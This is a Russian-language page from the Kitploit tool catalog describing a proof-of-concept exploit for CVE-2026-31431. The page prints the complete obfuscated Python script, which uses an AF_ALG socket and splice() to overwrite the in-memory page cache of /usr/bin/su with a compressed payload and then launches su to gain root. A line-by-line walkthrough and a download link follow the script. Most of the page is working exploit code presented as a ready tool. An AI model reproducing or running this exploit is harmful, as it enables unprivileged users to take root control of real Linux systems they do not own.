Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-31431-copy-fail — Эксплойт PoC для CVE-2026-31431, использующий AF_ALG и splice() для перезаписи страничного кэша Linux и патча /usr/bin/su в памяти, с повышением привилегий непривилегированных пользователей до root. | Kitploit
Инструменты/GitHubGitHub/trevocastles/cve-2026-31431-copy-fail
Повышение привилегийЭксплуатацияРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubtrevocastles/cve-2026-31431-copy-fail

CVE-2026-31431-copy-fail

Эксплойт PoC для CVE-2026-31431, использующий AF_ALG и splice() для перезаписи страничного кэша Linux и патча /usr/bin/su в памяти, с повышением привилегий непривилегированных пользователей до root.

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
491 месяц назадЕщё не проверено

Эксплойт CVE-2026-31431 Copy Fail

Часть 1: Теоретическая концепция (Как работает CVE-2026-31431)

Вместо того чтобы система постоянно получала файлы напрямую с медленного физического жёсткого диска — на что уходит много времени, — Linux создаёт временную копию файла в ОЗУ, известную как Page Cache. Это позволяет системе выполнять и читать файл почти мгновенно, полностью в пределах ОЗУ.

Этот процесс опирается на две ключевые функции:

  • AF_ALG: Отвечает за обработку криптографических/шифровальных операций для файлов и данных внутри ядра.

  • splice(): Отвечает за перемещение данных напрямую из одного участка памяти в другой на чрезвычайно высоких скоростях (Zero-Copy).

Эксплойт манипулирует этими двумя функциями. Когда система пытается обработать и выполнить файл в памяти, она сталкивается с внедрённым кодом полезной нагрузки. Поскольку само ядро Linux управляет памятью, оно никогда не подозревает, что там произошла логическая ошибка или несанкционированное изменение.

Кратко: Уязвимость воздействует на память, чтобы обойти шифрование/проверки целевого файла. Затем она перезаписывает определённые 4-байтовые инструкции в памяти, так что любой непривилегированный пользователь мгновенно получает доступ Root — при этом вся операция выполняется непосредственно ядром.

Часть 2: Анализ кода эксплойта

Код эксплойта:

Python

root@kitploit:~
#!/usr/bin/env python3
import os as g, zlib, socket as s

def d(x): return bytes.fromhex(x)

def c(f, t, c):
    a = s.socket(38, 5, 0)
    a.bind(("aead", "authencsn(hmac(sha256),cbc(aes))"))
    h = 279
    v = a.setsockopt
    v(h, 1, d('0800010000000010' + '0' * 64))
    v(h, 5, None, 4)
    u, _ = a.accept()
    o = t + 4
    i = d('00')
    u.sendmsg([b"A" * 4 + c], [(h, 3, i * 4), (h, 2, b'\x10' + i * 19), (h, 4, b'\x08' + i * 3)], 32768)
    r, w = g.pipe()
    n = g.splice
    n(f, w, o, offset_src=0)
    n(r, u.fileno(), o)
    try: u.recv(8 + t)
    except: 0

f = g.open("/usr/bin/su", 0)
i = 0
e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))

while i < len(e):
    c(f, i, e[i:i+4])
    i += 4

g.system("su")

Построчный разбор:

  1. e = zlib.decompress(d("78daab77..."))

    Эта строка извлекает сжатую полезную нагрузку из hex-данных. Эту нагрузку можно рассматривать как вектор внедрения, предназначенный для предоставления Root-привилегий. Она преобразует hex-данные в сырые байты, чтобы их можно было записать в ОЗУ и обойти проверку пароля.

  2. a = s.socket(38, 5, 0) , n(f, w, o) , n(r, u.fileno(), o)

    Скрипт открывает бинарный файл /usr/bin/su (исполняемый файл, отвечающий за переключение привилегий пользователя) в режиме только для чтения. Он создаёт сокет AF_ALG (ID AF_ALG = 38) и с помощью системного вызова splice() передаёт страницы памяти /usr/bin/su напрямую в криптографический движок ядра.

  3. Перезапись памяти ядра:

    Из-за ошибки в криптографическом модуле ядра (algif_aead) ядро вводится в заблуждение во время операции. Вместо записи результата обработки в обычный временный буфер оно записывает полезную нагрузку напрямую поверх страницы бинарного файла /usr/bin/su, хранящейся в ОЗУ (Page Cache).

Скачать инструмент
  • while i < len(e): c(f, i, e[i:i+4]); i += 4 & g.system("su")

    Скрипт выполняет цикл, который записывает полезную нагрузку по 4 байта за раз в последовательные смещения памяти. Когда цикл завершает патчинг инструкции в ОЗУ, он выполняет su. Поскольку ядро теперь выполняет изменённый код в памяти, проверки пароля обходятся, предоставляя доступ Root любому, кто запустит команду